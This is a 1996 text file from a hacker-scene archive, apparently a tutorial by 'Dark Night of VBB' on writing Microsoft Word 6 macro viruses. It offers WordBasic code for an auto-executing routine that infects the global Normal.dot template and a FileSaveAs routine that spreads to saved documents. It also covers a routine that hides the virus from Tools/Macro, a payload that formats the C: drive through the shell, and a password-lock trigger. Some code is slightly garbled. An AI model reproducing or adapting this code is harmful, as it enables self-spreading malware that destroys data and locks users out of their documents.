home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / MVUPDAT3.ZIP / MACRO_VX.ZIP / MACROTUT.TXT next >
Text File  |  1996-08-31  |  8KB  |  228 lines

  1.  
  2.                          ***************************
  3.                          *    THE MACRO VIRUS      *
  4.                          *    WRITING TUTORIAL     *
  5.                          *        PART 1           *
  6.                          ***************************
  7.                          *                         *
  8.                          *   WRITTEN BY DARK NIGHT *
  9.                          *          OF VBB         *
  10.                          *                         *
  11.                          ***************************
  12.  
  13.  
  14.  
  15.  LEGALESE
  16.  --------
  17.  
  18.  I SHALL NOT BE HELD RESPONSIBLE FOR ANY DAMAGE CREATED BE DIRECT OR INDIRECT
  19.  USE OF THE PUBLICISED MATERIAL.  THIS DOCUMENT IS COPYRIGHT 1996 TO ME,
  20.  DARK NIGHT OF VBB.  HEREWITH I GRANT ANYBODY LICENSE TO REDISTRIBUTE THIS
  21.  DOCUMENT AS LONG AS IT IS KEPT IN WHOLE AND MY COPYRIGHT NOTICE IS NOT
  22.  REMOVED.  ALSO IF I FIND ANY LAMERS WHO JUST TAKE THE CODE PUBLISHED HERE
  23.  AND SAY IT IS THEIR OWN I WILL SEE THAT THEY'LL BE PUNISHED.(BELIEVE IT OR
  24.  NOT :-))!!!
  25.  
  26.  
  27.  
  28.  INTRODUCTION
  29.  -------------
  30.  
  31.  MANY OF YOU MAY BE WONDERING RIGHT NOW WHO THE HELL I AM AND WHO VBB IS.
  32.  COME ON LAMERS!  GET ALIVE.  VBB IS ONE OF THE COOLEST VIRUS GROUPS AROUND.
  33.  YOU CAN'T TELL ME YOU'VE NEVER HEARD OF US.  WELL, OK I'LL ADMIT IT.  WE'RE
  34.  NOT THAT POPULAR YET, BUT THAT'LL COME.  SO FOR NOW HERE'S MY CONTRIBUTION
  35.  TO THE GROUP AS THE LEADER.  WELCOME TO THE MACRO VIRUS WRITING TUTORIAL
  36.  PART 1!
  37.  
  38.  ENJOY!!
  39.  
  40.  
  41.  THE TOOLS
  42.  ----------
  43.  
  44.  FIRST OF ALL YOU'LL NEED MS WORD 6.0 OR UP(DUH), THEN YOU MAY WANT TO GET
  45.  VBB'S MACRO DISASSEMBLER BY AURODREPH SO THAT YOU CAN STUDY ENCRYPTED MACROS.
  46.  ALSO YOU SHOULD MAKE BACK-UPS OF YOUR NORMAL.DOT TEMPLATE IN YOUR
  47.  WINWORD6\TEMPLATE\ DIRECTORY, AS THIS IS THE DOCUMENT COMMONLY INFECTED BY
  48.  MACRO VIRII.  SO WHATCH OUT.  ALSO I RECOMMEND TO HAVE AT LEAST A SMALL
  49.  KNOWLEDGE OF WORD BASIC, SO THAT YOU KIND A KNOW WHAT'S GOING ON.  WELL,
  50.  THAT'S IT.  YOU'VE MADE IT THIS FAR.  IT'S NOW TIME TO GET INTO THE MACRO
  51.  VIRUS GENERALS.
  52.  
  53.  
  54.  THE GENERAL STUFF
  55.  -----------------
  56.  
  57.  MOST MACRO VIRII HAVE A PRETTY SET STRUCTURE.  THEY START OF WITH AN
  58.  AUTO-EXECUTING MACRO WHICH INFECTS THE NORMAL.DOT(GLOBAL) TEMPLATE.  THEN
  59.  THEY HAVE SOME MACROS WHICH WILL INFECT THE FILES ON CERTAIN ACTIONS.  FOR
  60.  EXAMPLE FileSaveAs, FileSave, FileOpen, ToolsMacros.  DOCUMENTS ARE INFECTED
  61.  THROUGH TRANSFERRING THE MACROS INTO THE DOCUMENT AND HAVING THEM EXECUTE THE
  62.  NEXT TIME THE DOCUMENT IS OPENED.  A CODE FOR THE AUTOEXEC ROUTINE WOULD LOOK
  63.  SOMETHING LIKE THIS:
  64.  
  65.  'ANYTHING AFTER THE ' ARE MY COMMENTS
  66.  
  67.  Sub MAIN
  68.          On Error Goto Abort
  69.          iMacroCount = CountMacros(0, 0)
  70.          'CHECK TO SEE IF INFECTION EXISTS
  71.          For i = 1 To iMacroCount
  72.                  If MacroName$(i, 0, 0) = "PayLoad" Then
  73.                          bInstalled = - 1
  74.                  'BY LOOKING FOT THE PAYLOAD MACRO
  75.                  End If
  76.                  If MacroName$(i, 0, 0) = "FileSaveAs" Then
  77.                          bTooMuchTrouble = - 1
  78.                  'BUT IF THE FILESAVEAS MACRO EXISTS THEN INFECTION IS
  79.                  'TOO DIFICULT.
  80.                  End If
  81.          Next i
  82.          If Not bInstalled And Not bTooMuchTrouble Then
  83.                  'add FileSaveAs and copies of     AutoExec and FileSaveAs.
  84.                  'Payload has no use except to check for infection.
  85.                  'The ,1 encrypts all macros in their destination making
  86.                  'them unreadble in Word.
  87.                  iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
  88.                  sMe$ = FileName$()
  89.                  Macro$ = sMe$ + ":PayLoad"
  90.                  MacroCopy Macro$, "Global:PayLoad", 1
  91.                  Macro$ = sMe$ + ":FileOpen"
  92.                  MacroCopy Macro$, "Global:FileOpen", 1
  93.                  Macro$ = sMe$ + ":FileSaveAs"
  94.                  MacroCopy Macro$, "Global:FileSaveAs", 1
  95.                  Macro$ = sMe$ + ":AutoExec"
  96.                  MacroCopy Macro$, "Global:AutoExec", 1
  97.                  SetProfileString "WW6I", Str$(iWW6IInstance + 1)
  98.          End If
  99.  Abort:
  100.  End Sub
  101.  
  102.  
  103.  THE SaveAs ROUTINE
  104.  ------------------
  105.  
  106.  THIS IS THE ROUTINE WHICH COPIES THE MACRO VIRUS INTO THE ACTIVE DOCUMENT
  107.  WHEN IT IS SAVED USING FILE/SAVE AS.  IT USES MUCH OF THE SAME TECHNIQUES AS
  108.  THE AutoExec ROUTINE.  HERE'S WHAT THE CODE SHOULD LOOK LIKE FOR THE SaveAs
  109.  ROUTINE:
  110.  
  111.  'YOU CAN ALWAYS USE THE ,1 AGAIN TO ENCRYPT MACROS.
  112.  
  113.  Sub MAIN
  114.  Dim dlg As FileSaveAs
  115.  GetCurValues dlg
  116.  Dialog dlg
  117.  If (Dlg.Format = 0) Or (dlg.Format = 1) Then
  118.          MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs"
  119.          MacroCopy "FileSave ", WindowName$() + ":FileSave"
  120.          MacroCopy "PayLoad", WindowName$() + ":PayLoad"
  121.          MacroCopy "FileOpen", WindowName$() + ":FileOpen"
  122.          Dlg.Format = 1
  123.  End If
  124.  FileDaveAs dlg
  125.  End Sub
  126.  
  127.  SHORT, BUT IT WORKS WELL.  ALL THIS INFO, BELIEVE IT OR NOT, IS ENOUGH
  128.  TO MAKE A SMALL AND BASIC MACRO VIRUS.
  129.  
  130.  
  131.  SPECIAL ROUTINES
  132.  ----------------
  133.  
  134.  THERE ARE SEVERAL METHODS WHICH CAN BE USED TO HIDE YOUR VIRUS OR MAKE IT
  135.  MORE EFFECTIVE.  FOR EXAMPLE, YOU CAN MAKE A MACRO TO HIDE YOUR VIRUS WHEN
  136.  SOMEBODY LOOKS IN TOOLS/MACRO.  THE CODE SHOULD LOOK SOMETHING LIKE THIS:
  137.  
  138.  Sub MAIN
  139.          On Error Goto ErrorRoutine
  140.  
  141.          OldName$ = NomFichier$()
  142.  
  143.          If macros.bDebug Then
  144.                  MsgBox "start ToolsMacro"
  145.                  Dim dlg As OutilsMacro
  146.                  If macros.bDebug Then MsgBox "1"
  147.                  GetCurValues dlg
  148.                  If macros.bDebug Then MsgBox "2"
  149.                  On Error Goto Skip
  150.                  Dialog dlg
  151.                  OutilsMacro dlg
  152.  Skip:
  153.          On Error Goto ErrorRoutine
  154.          End If
  155.  
  156.          REM enable automacros
  157.          DisableAutoMacros 0
  158.  
  159.          macros.SavToGlobal(OldName$)
  160.          macros.objectiv
  161.          Goto Done
  162.  
  163.  ErrorRoutine:
  164.          On Error Goto Done
  165.          If macros.bDebug Then
  166.                  MsgBox "error " + Str$(Err) + " occurred"
  167.          End If
  168.  
  169.  Done:
  170.  End Sub
  171.  
  172.  ALSO YOU CAN INCLUDE EXERNAL SUBROUTINES.  FOR EXAMPLE, THE NUCLEAR VIRUS
  173.  TRIES TO COMPILE AND RUN AN EXTERNAL FILE-INFECTOR VIRUS.  OR SOME MACRO
  174.  TROJANS TRY TO FORMAT YOUR HARDDRIVE WHEN YOU OPEN A DOCUMENT.  AN EXAMPLE
  175.  SUBROUTINE FOR AN UNCONDITIONAL FORMAT WOULD BE THIS:
  176.  
  177.          sCmd$ = "echo y|format c: /u"
  178.          Shell Environment$ ("COMSPEC") + "/c" + sCmd$, 0
  179.  
  180.  ALSO YOU MAY WANT TO PUT A PASSWORD ONTO THE DOCUMENT THAT YOU'VE JUST
  181.  INFECTED OR WHEN YOU HAVE EXPERIENCED AN ERROR WHILE INFECTING AND THE
  182.  CURRENT SECOND IS 13.  TAKE A LOOK AT THIS EXAMPLE:
  183.  
  184.  Sub MAIN
  185.  On Error Goto ByeBye
  186.  
  187.  .
  188.  . 'Infection code
  189.  .
  190.  .
  191.  .
  192.  \/
  193.  
  194.  ByeBye:
  195.  If (second(Now()) = 13) Then
  196.          Dlg.Password = "Dark_Night" 'SETS PASSWORD TO DARK_NIGHT.  YOU CAN
  197.                                      'ALSO SET A RANDOM PASSWORD  CODE SHALL
  198.                                      'PRESENTED IN NEXT INSTALLMENT! :-D    
  199.  
  200.  YOUR WORK
  201.  ---------
  202.  
  203.  I HAVE EXPLAINED THE BASIC KNOWLEDGE YOU NEED TO HAVE TO START
  204.  WRITING YOUR MACRO VIRUS.  IF ANYBODY RESPONDS TO THIS TUTORIAL, THEN
  205.  I WILL GO INTO MORE DETAILS ABOUT THE DIFFERENT STRUCTURES AND POSSIBILLITIES
  206.  OF MACRO VIRII.
  207.  
  208.  
  209.  
  210.  INTERESTED?
  211.  -----------
  212.  
  213.  I HAVE NO IDEA IF ANYBODY WOULD BE INTERESTED IF I CONTINUE THIS TUTORIAL.
  214.  SO TO NOT MAKE MYSELF DO ALL THE WORK FOR NOTHING, I REQUEST THAT YOU PLEASE
  215.  DROP ME AN E-MAIL IF YOU WOULD BE INTERESTED IN ANY FURTHER EXPLINATION OF
  216.  MACRO VIRII.  I WILL THEN GLADLY CONTINUE THIS TUTORIAL OF MACRO VIRII FOR
  217.  YOU.  MY ADDRESS IS:
  218.  
  219.  Dark_Night@ilf.net
  220.  
  221.                                                  Dark Night
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.